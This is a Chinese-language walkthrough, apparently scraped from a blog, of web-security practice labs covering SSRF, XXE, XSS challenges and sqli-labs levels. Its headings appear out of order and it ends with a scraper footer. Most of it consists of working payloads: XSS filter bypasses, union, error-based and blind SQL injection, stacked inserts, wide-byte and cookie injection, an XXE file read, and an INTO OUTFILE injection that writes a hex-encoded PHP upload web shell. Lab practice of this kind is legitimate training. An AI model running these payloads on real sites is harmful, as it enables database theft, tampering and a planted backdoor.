这应该就是file_get_content要包含的文件了 假设我们本地搭建一个1.php文件 然后包含这个文件即可 为什么不是php形式的样子,而是html的形式,因为htmlentities函数把包含进来的转换成html实体了 输入端口445,账号秘密都是root,然后MySQL服务成功消失了,hh 这是正常下载 我们要下载D盘下的wenjian.txt,都可以直接下载,想必只要知道文件路径,想下载就下载 这里我们也是同样远程执行我们的1.php文件,同样被html化 应用程序不仅实现了内部和私有范围的IP黑名单,还解决了用户提供的域到其IP,并再次执行检查,如果解决是否黑名单。 在这种情况下,基于DNS的欺骗伎俩也将无法访问托管在内部/保留IP上的内容。应用程序代码对其IP执行域解析,并再次对解析后的IP执行黑名单IP检查。 我们简单实现一下 结束 登录成功和登录失败的界面 代码也就是说xml文档用的是php协议发送的 假设我们要访问D盘下的1.txt文件 登录抓包,把内容修改成 Hello work就是我们1.txt的内容已经看到了 结束 开始我们的XSS之旅吧! 第一关 直接修改name值改成xss代码即可 审计元素,看到还有个input影响我们xss弹窗,把它闭合后跟上我们xss代码即可 后台用了htmlspecialchars函数把尖括号实体化了,所以我们改为不用尖括号的弹窗 ‘ οnmοuseοver=’javascript:alert(1)即可 这次把尖括号过滤了,还用了htmlspecialchars函数 这次把on过滤了 我们不用on就行了” /> <a href=”javascript:alert(1)”/> 点击它即可 过滤了on,src,data,href等等,可以直接用大小些绕过”/><a Href=’javascript:alert(1)’>a</a>// 点击它即可 这次把script等换为空了 我们可以重复些绕过 “/><ScrscriptipT>alert(1)</ScriscriptPT>//< 这次关键词被转换成多个下滑线的了 我们把t转换一下编码javascript:alert(1),点击友情链接即可 这次链接还要有https://不然就不合法 javascript:%0dhttps://www.baidu.com%0dalert(1) r是Unicode编码,%0d是空格url编码 这里有个get参数,我们在url中写上参数 ?t_sort=”type=”text” οnmοuseοver=”alert(1) 隐藏了参数,问题不大 第十一关 看看源码,输出框好像被隐藏起来了 我们给它加上一个,审计元素,编辑HTML,会出现一个小框,点击它即可 我们看到了t_ua的值被隐藏起来了, 直接修改它的值为”type=”text” οnclick=”alert(1),点击那个新增的框即可 这把好像放在t_cook里面去了 审查元素找到t_cook然后把值修改成”type=”text” οnclick=”alert(1),点击新增的框即可 这关通过技巧很简单,看到level14.php没有我们把它修改成level15.php简单通过 Over 上面的src接口没有用, 换成https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js 它的src值我们给它赋值成src=’level1.php?name=test<img src=1 οnerrοr=alert(1)>’即可 既然它说让我们自己想办法走出去我们就调用第一关1的代码 看看源码,发现这次还过滤了空格,那我们用%0a也就是换行符代替空格 <img%0asrc=”1.jpg”%0aοnerrοr=”alert(1)”> 既然是输出embed标签,我们就改embed标签的值为<embed src=javascript:alert(1)>即可 和上一关一样,只不过少了下一关的链接而已,改embed标签即可 这几关好像差不多,没什么差别。 通关 直接告诉我们payload参数触发了 我们直接在url中添加上代码?payload=<script>alert(/xss/)</script> 存储xss 上来就是直接弹框1 我们看看源码,看到了函数get_data_from_storage函数调用的xss 修改下,保存刷新页面,成功修改,下一题、下一题 DOM型xss 可以看到我们输入的值被写进超链接去了,这里只需要闭合下就可以弹窗了 把href里的单引号闭合然后跟上我们的xss代码,然后点击我们的超链接即可弹窗 local_hash 点击框就会弹出1 审查元素看看,eval执行的 通过 首先我们先安装数据信息 在sqli1目录下的sql-connections目录下的db-creds.inc的文件中填好自己的数据库账号密码 源码中有个id参数带进数据库查询了,我们带进url中查询 它直接用单引号把id包裹起来就带进数据库里查询,所以我们闭合一下,构造语句即可查询出我们想要的数据看了’ union select 1,database(),user() — ‘ LIMIT 0,1 这次id没有被单引号包裹住,所以直接构造我们的语句就可以了,不用闭合 ?id=-1 union select 1,database(),user() — ‘ LIMIT 0,1 第三关 这次id加上了括号和单引号,我们也相对应加上括号和单引号即可 1′) union select 1,database(),user() — ‘ LIMIT 0,1 看到源码还加了双引号和括号,也对应加上双引号和括号进行闭合就行了 -1″) union select 1,database(),user() — ‘ LIMIT 0,1 我们发现不管输入id几都不会显示账号密码,加个单引号出现了错误,既然有错误那我们用报错注入’ and updatexml(1,concat(0x7e,(database()),0x7e),1)–+进行注入,爆出数据库 看看源码,这次和上次就换了个双引号,所以我们也换个双引号即可 源码这里使用了单引号和双括号,简单构造 一下即可 ‘)) and updatexml(1,concat(0x7e,(database()),0x7e),1)–+ 这次错误被注释了,并且加了单引号 那就是不能用报错注入了 先输入id=1有回显 输入id=100没有回显,所以我们是可以进行布尔型注入的 ‘ and length(database())=8–+判断数据库长度是不是8,有回显就是了 接下来是猜字符 猜解完毕,security 这次源码说了不管是不是你输入的是什么都回显You are in …..,并且加了单引号 但是我们输入’ and sleep(5) –+会发现它一直在转动5秒过后才停止,说明存在盲注 输入1′ and if(ascii(substr(database(),1,1))=ascii(‘s’),sleep(5),0) –+ 如果它一直在转动说明表的第一个字符是s如果没有转到就不是,猜解和上一关一样 这关和上一关一样,就是换了个双引号 我们也相对应换上双引号即可 1″ and if(ascii(substr(database(),1,1))=ascii(‘s’),sleep(5),0) –+ 登录试试,这应该就是post过去的了 这是加了单引号的 然后就是登录抓包,把uname的值改成’ union select database(),user()#&passwd=即可 数据库和用户都出来了 这次uname加了个括号,并把单引号改成双引号,相对应的把我们的也修改下即可 这次源码加了单引号和括号,既然会报错那我们用updatexml即可 这次源码告诉我们,没有单双引号还有报错,跟上一关差不多,稍微修改下代码即可 1admin” and updatexml(1,concat(0x7e,database(),0x7e),1)# 看看源码,登录信息,错误信息,查询前加了单引号。都这样了,那就差盲注可以用了 我们把uname修改成admin’ and if(ascii(substr(database(),1,1))=ascii(‘s’),sleep(5),0)#然后放包 可以看到如果有这个字符的话就会转动了 然后依次把uname换成 admin’ and if(ascii(substr(database(),2,2))=ascii(‘e’),sleep(5),0)# admin’ and if(ascii(substr(database(),3,3))=ascii(‘c’),sleep(5),0)# admin’ and if(ascii(substr(database(),4,4))=ascii(‘u’),sleep(5),0)# admin’ and if(ascii(substr(database(),5,5))=ascii(‘r’),sleep(5),0)# admin’ and if(ascii(substr(database(),6,6))=ascii(‘i’),sleep(5),0)# admin’ and if(ascii(substr(database(),7,7))=ascii(‘t’),sleep(5),0)# admin’ and if(ascii(substr(database(),8,8))=ascii(‘y’),sleep(5),0)# 看看源码,加了双引号和括号 我们把上一关的成功代码修改下即可 admin”) and if(ascii(substr(database(),1,1))=ascii(‘s’),sleep(5),0)# Sql语句也修改了,变成update,然后把uname进行了过滤但是passwd没有,我们可以对他进行注入,并且会报错 我们把passwd修改成admin’ and updatexml(1,concat(0x7e,database(),0x7e),1)# 这次uname和passwd都进行了过滤 但是这里好像多了一条插入语句, 登录进去后发现了IP和User Agent,估计就是插进去了这两个,那我们对这其中一个进行注入即可 登录进去发现来源REFERER,看都不看源码一眼我们就知道这是来源注入 我们抓包把来源修改下 成功 登录进去看了一下,应该是cookie注入了 刷新页面抓包 把Cookie修改成uname=-admin’ union select 1,user(),database()–+ 和上一关一样,这次是要把cookie进行解码再放进去查询然后加上了括号,那我们把上一关成功的代码拿去加密下 LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw== 登录进去然后刷新页面抓包改cookie即可 用双引号把它闭合了再加上我们的语句即可 LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj 这关是闭合单引号就可以了 ‘ union select 1,2,database() ‘ 这关是二次注入,我们先注册一个账号,这账号是没有过滤的,然后再修改密码,因为账号没有过滤所以修改的密码会修改到其他用户那里,导致其他用户的密码被重置。 我们先注册一个账号 账号admin’#密码123 登录进去,修改密码为123456 成功修改,现在admin用户的密码就是123456了,我们试试能不能登录 成功 源码里的or和and过滤了,双写结合大小写绕过用Oorr代替or,AandnD代替and 这次关键字过滤了很多,我们换一批就可以直接绕过 -1’||updatexml(1,concat(‘~’,database(),’~’),3)||’ 我们windows环境下面绕过空格用(但是他是()的闭合 所以只能%a0绕过 但是windowsurl编码转换不了,所以这关环境需要linux ?id=0’%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema=’security’%0baandnd%0btable_name=’users’%0b%26%26%0b’1’=’1 源码这边用了单引号,加上过滤了一些关键字,我们可以用大小些绕过 ?id=0’%a0uniOn%a0sElEct%a01,database(),3%a0or%a0’1’=’1 这里源码需要闭合简单构造下语句即可,然后关键字还过滤了不少 -1′) uniounion selectn select 1,database(),3%23 我们把单引号闭合后面跟上%23也就是注释 第三十关 跟上一关是差不多的,只不过换了个双引号 -1″ union select 1,2,database() %23 加了个双引号,还是一样的代码,加上双引号即可 -1″)union select 1,user(),database() –+ 这里用了addslashes函数会把我们的单引号转义导致不能闭合,但是这里设置成gbk就导致了可以宽字节注入了,%df和%5c()会组合出了一个運字从而让单引号逃逸出来 -1%E6′ union select 1,version(),database() –+ 和这里是一样的,这里还是用上一关的代码直接过关 源码告诉我们是POST过来的所以要抓包改包 admin%E6′ union select version(),database()–+ 这里没有用单引号包裹住,所以可以直接注入不用闭合 -1 union select 1,version(),database()–+ 如题,为什么要关注addslashes呢,没有用单引号包裹住的sql语句用了addslashes也没用 addslashes只转义单引号、双引号、斜杠、NULL 这关好像也是宽字节注入,所以直接构造语句即可 没有差别的题目,是POST的过来的那我们就改POST包 admin%E6′ union select version(),database()–+ 这是一题堆叠注入,就是在我们执行完sql语句之后在sql语句分号(;)后面接上我们的语句 -1′ union select 1,database(),3;insert into users values(19,’sql’,’sql’)%23 查询完之后再插入我们的SQL语句 可以看到我们的sql语句已经成功插进去了 这关同理,我们只要修改分后后面的语句即可前面直接分号结束 这里只是把id加了单引号和括号我们相对应闭合掉即可 1′);insert into users values(21,’sqli’,’sqli’)%23 嗯,换了条sql语句啊,相对应也换 1;insert into users values(22,’sqli’,’sqli’)%23 可以看到password是没有用mysqli_real_escape_string函数进行过滤的,那我们登录然后相对应的抓包修改password包即可 1’;insert into users values(23,’sqli’,’sqli’)%23 一样的套路,只是password加多了个括号,相对应的加上 1’);insert into users values(24,’sqli’,’sqli’)%23 1′;insert into users values(25,’sqli’,’sqli’)%23 提交上去是没有显示的,我们可以在数据里查找 加了个括号,懂的 1’);insert into users values(24,’sqli’,’sqli’)%23 这关好像有点不一样了吧,开始用ORDER BY结束语句了,Url要换成sort 视觉感觉不一样了啊,语句还是差不多的 1 and updatexml (1, concat(0x7e,database()) ,1) 源码里面多了个单引号,闭合它,再把后面的语句注释掉即可 1′ and updatexml (1, concat(0x7e,database()) ,1)–+ 这关没有了错误提示,所以不能用报错注入了,但可以用布尔型盲注 1 and if(length(database())=8 ,1,sleep(5))–+ 错误的时候它会转到 正确的时候它不会转动 这里只是把id用单引号包裹住了,相对应闭合它 1′ and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and ‘1’=’1 转动了就说明第一个字符是s对应ascii码是115 这次就没有转动,113对应的ascii码是q 这次是数字型 ?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) ?sort=1 and (ascii(substr((select database()) ,1,1))) = 114 and if(1=1, sleep(1), null) 单引号闭合即可 ?sort=1′ and (ascii(substr((select database()) ,1,1))) = 113 and if(1=1, sleep(1), null) and ‘1’=’1 ?sort=1′ and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and ‘1’=’1 咋感觉又回到了之前的关卡呢 ?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) sort=1′ and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and ‘1’=’1 就是对输入的次数做了限制,需要在十次之内获取信息,否则就会刷新表名列名等信息。 开始了,首先是数据库名称 ?id=-1′ union select 1,database(),user()–+ 然后是表名?id=-1′ union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573–+ 接着就是列名,url中table_name后面跟着的是刚刚爆出来的表名 ?id=-1′ union select 1,2,(group_concat(column_name)) from information_schema.columns where table_name =8uhf5h9f3k–+ 最后取出数据,把group_concat换成直接爆出来的列名后面也要换成表名即可 -1′ union select 1,group_concat(secret_SJ8O),group_concat(sessid) from challenges.8uhf5h9f3k 最后把爆出来的一串东西提交上去 数据格式变成id=(1),其他都是一样的 数据库:?id=-1) union select 1,database(),user()–+ 表:?id=-1) union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573–+ 列?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’d09q4gshxt’ –+ -1) union select 1,group_concat(secret_LUTR),group_concat(sessid) from challenges.d09q4gshxt–+ 成功 这次id变成括号加单引号了 -1′) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’challenges’ –+ 按照顺序进行即可 没猜错的话按照顺利这次就是双引号了,其他不变 ?id=-1″ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’challenges’ –+ 按照顺序啊 第五十八关 这关好像不能用union联合注入,那我们用报错注入,并且错误次数只有五次了,错误次数超过五次就会刷新 爆表:?id=1′ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’CHALLENGES’) ),1)–+ 爆列:?id=1′ and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name=’hpk0klwybw’ )),1)–+ 爆值:?id=1′ and updatexml(1,concat(0x7e,(select group_concat(secret_MTR4) from challenges.hpk0klwybw)),1)–+ 输入进去即可 这关id没有被单引号或括号包裹 ?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’CHALLENGES’) ),1)–+ 接下来就是顺序了,嗯~ Id被双引号和括号包裹了,上闭合 ?id=1″) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’CHALLENGES’) ),1)–+ 下一关。。 这次双括号加单引号0.0 表:?id=1′)) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’CHALLENGES’) ),1)–+ ?id=1′)) and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name=’zy3odcjijx’ ?id=1′)) and updatexml(1,concat(0x7e,(select group_concat(secret_6C64) from challenges.zy3odcjijx)),1)–+ 输入进去即可 这关是盲注 key是24位由大小写字母和数字随机组成的值,这里建议大家用脚本把值跑出来 这关跟上一关一样,的唯一区别在于需要使用单引号闭合 不再赘述! 这关跟上一关一样,的唯一区别在于需要使用括号闭合 不再赘述! 这几关性质都一样,只不过闭合语句不同,不再赘述 注册页面好像没过滤,那直接注入吧 admin’ or updatexml(1,concat(0x7e,(database()),0x7e),1)or’ 看看login1.php 源码这里看到直接传进来没有任何过滤 直接构造语句插进Username里就可以 admin’ and updatexml(1,concat(0x7e,(database()),0x7e),1)# 爆出数据库 这里同意是没有任何过滤就带进数据库查询了,只是加了个括号 admin’) and updatexml(1,concat(0x7e,(database()),0x7e),1)# Searchproducts.php 搜索下p,可以看到这不就是模糊查询嘛 有报错的话,我们就用爆错注入 p’ and updatexml(1,concat(0x7e,(database()),0x7e),1)# 这关注册的时候没有过滤好,让单引号进数据库了,后面从数据库查询的时候单引号就会引起作用 admin’ or updatexml(1,concat(0x7e,(database()),0x7e),1)or’ 好像是我们上一关的注入啊,路过 错误被注释了,但是有回显 正常页面 错误页面 可以用布尔型盲注’ and if(ascii(substr(database(),1,1))=ascii(‘s’),sleep(5),0) –+ 判断数据库第一个字母是不是s如果是沉睡5秒,不是的话就不刷新 ‘ and if(ascii(substr(database(),1,1))=ascii(‘a’),sleep(5),0) –+ 说明数据库第一关字母不是a 可以用来与操作系统进行交互,包括读取和写入文件等任务。 虽然我们可以用报错注入直接注入,但是这不符合题意,那我们就导入文件吧 admin’ or updatexml(1,concat(0x7e,(database()),0x7e),1)–+ 代码如下 -admin’ OR 4212=4212 LIMIT 0,1 INTO OUTFILE ‘D:/phpstudy_pro/WWW/www.test.com/sqli2/1.php’ LINES TERMINATED BY 0x3c3f706870696628697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b69662870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c65296f7264696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c65296f7264696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f2246696c6575706c6f61646564223b7d656c73657b6563686f223c666f726d616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e226d6574686f643d504f5354656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e707574747970653d68696464656e6e616d653d4d41585f46494c455f53495a4576616c75653d313030303030303030303e3c623e66696c6575706c6f616465723c2f623e3c62723e3c696e7075746e616d653d66696c65747970653d66696c653e3c62723e746f6469726563746f72793a3c696e707574747970653d746578746e616d653d75706c6f616444697276616c75653d443a70687073747564795f70726f5757577777772e746573742e636f6d73716c69323e3c696e707574747970653d7375626d69746e616d653d75706c6f616476616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e–+ 成功导出shell 通过 看看源码 没有过滤,这里username是被单引号包裹注的,要闭合 ‘or 1 = 1#直接进行登录即可, 登录成功 然后就是搜索这里也有注入 Stockholm’ and updatexml (1, concat(0x7e,database()) ,1)–+’ 然后源码里面好像还有个安全的源码一模一样的功能 源码里面查询的时候是用pdo绑定参数实现的 SSRF漏洞靶场
来到SSRF首页
第二关
第三关
第四关
第五关
XXE漏洞靶场
<?xml version="1.0"?> <!DOCTYPE Mikasa [ <!ENTITY hellwork SYSTEM "file:///D:/1.txt"> ]> <user><username>&hellwork;</username><password>Mikasa</password></user>
XSS漏洞靶场
第二关
第三关
第四关
第五关
第六关
第七关
第八关
第九关
第十关
第十二关
第十三关
第十四关
第十五关
第十六关
第十七关
第十八关
第十九关
第二十关
XSS学习靶场
第一题反射XSS
第二题
第三关
第四关
Sql注入靶场
Sql注入练习靶场-1
第一题
第二关
第四关
第五关
第六关
第七关
第八关
第九关
第十关
第十一关
第十二关
第十三关
第十四关
第十五关
第十六关
第十七关
第十八关
第十九关
第二十关
第二十一关
第二十二关
第二十三关
第二十四关
第二十五关
第二十六关
第二十六a关
第二十七关
第二十八关
第二十九关
第三十一关
第三十二关
第三十三题
第三十四关
第三十五关
第三十六关
-1%E6′ union select 1,version(),database() –+第三十七关
第三十八关
第三十九关
第四十关
第四十一关
第四十二关
第四十三关
第四十四关
第四十五关
第四十六关
第四十七关
第四十八关
第四十九关
第五十关
第五十一关
第五十二关
第五十三关
第五十四关
第五十五关
第五十六
第五十七关
五十九关
第六十关
第六十一关
第六十二关
第六十三关
第六十四关
第六十五关
Sql注入练习靶场2
直接开始
下一关
接着继续看看login2.php
下一关
下一关
下一关
下一关
下一关
Sql注入练习靶场3
首先看到的是登录页面,应该是有注入的了
结束了
本网页所有视频内容由 imoviebox边看边下-网页视频下载, iurlBox网页地址收藏管理器 下载并得到。
ImovieBox网页视频下载器 下载地址: ImovieBox网页视频下载器-最新版本下载
本文章由: imapbox邮箱云存储,邮箱网盘,ImageBox 图片批量下载器,网页图片批量下载专家,网页图片批量下载器,获取到文章图片,imoviebox网页视频批量下载器,下载视频内容,为您提供.
阅读和此文章类似的: 全球云计算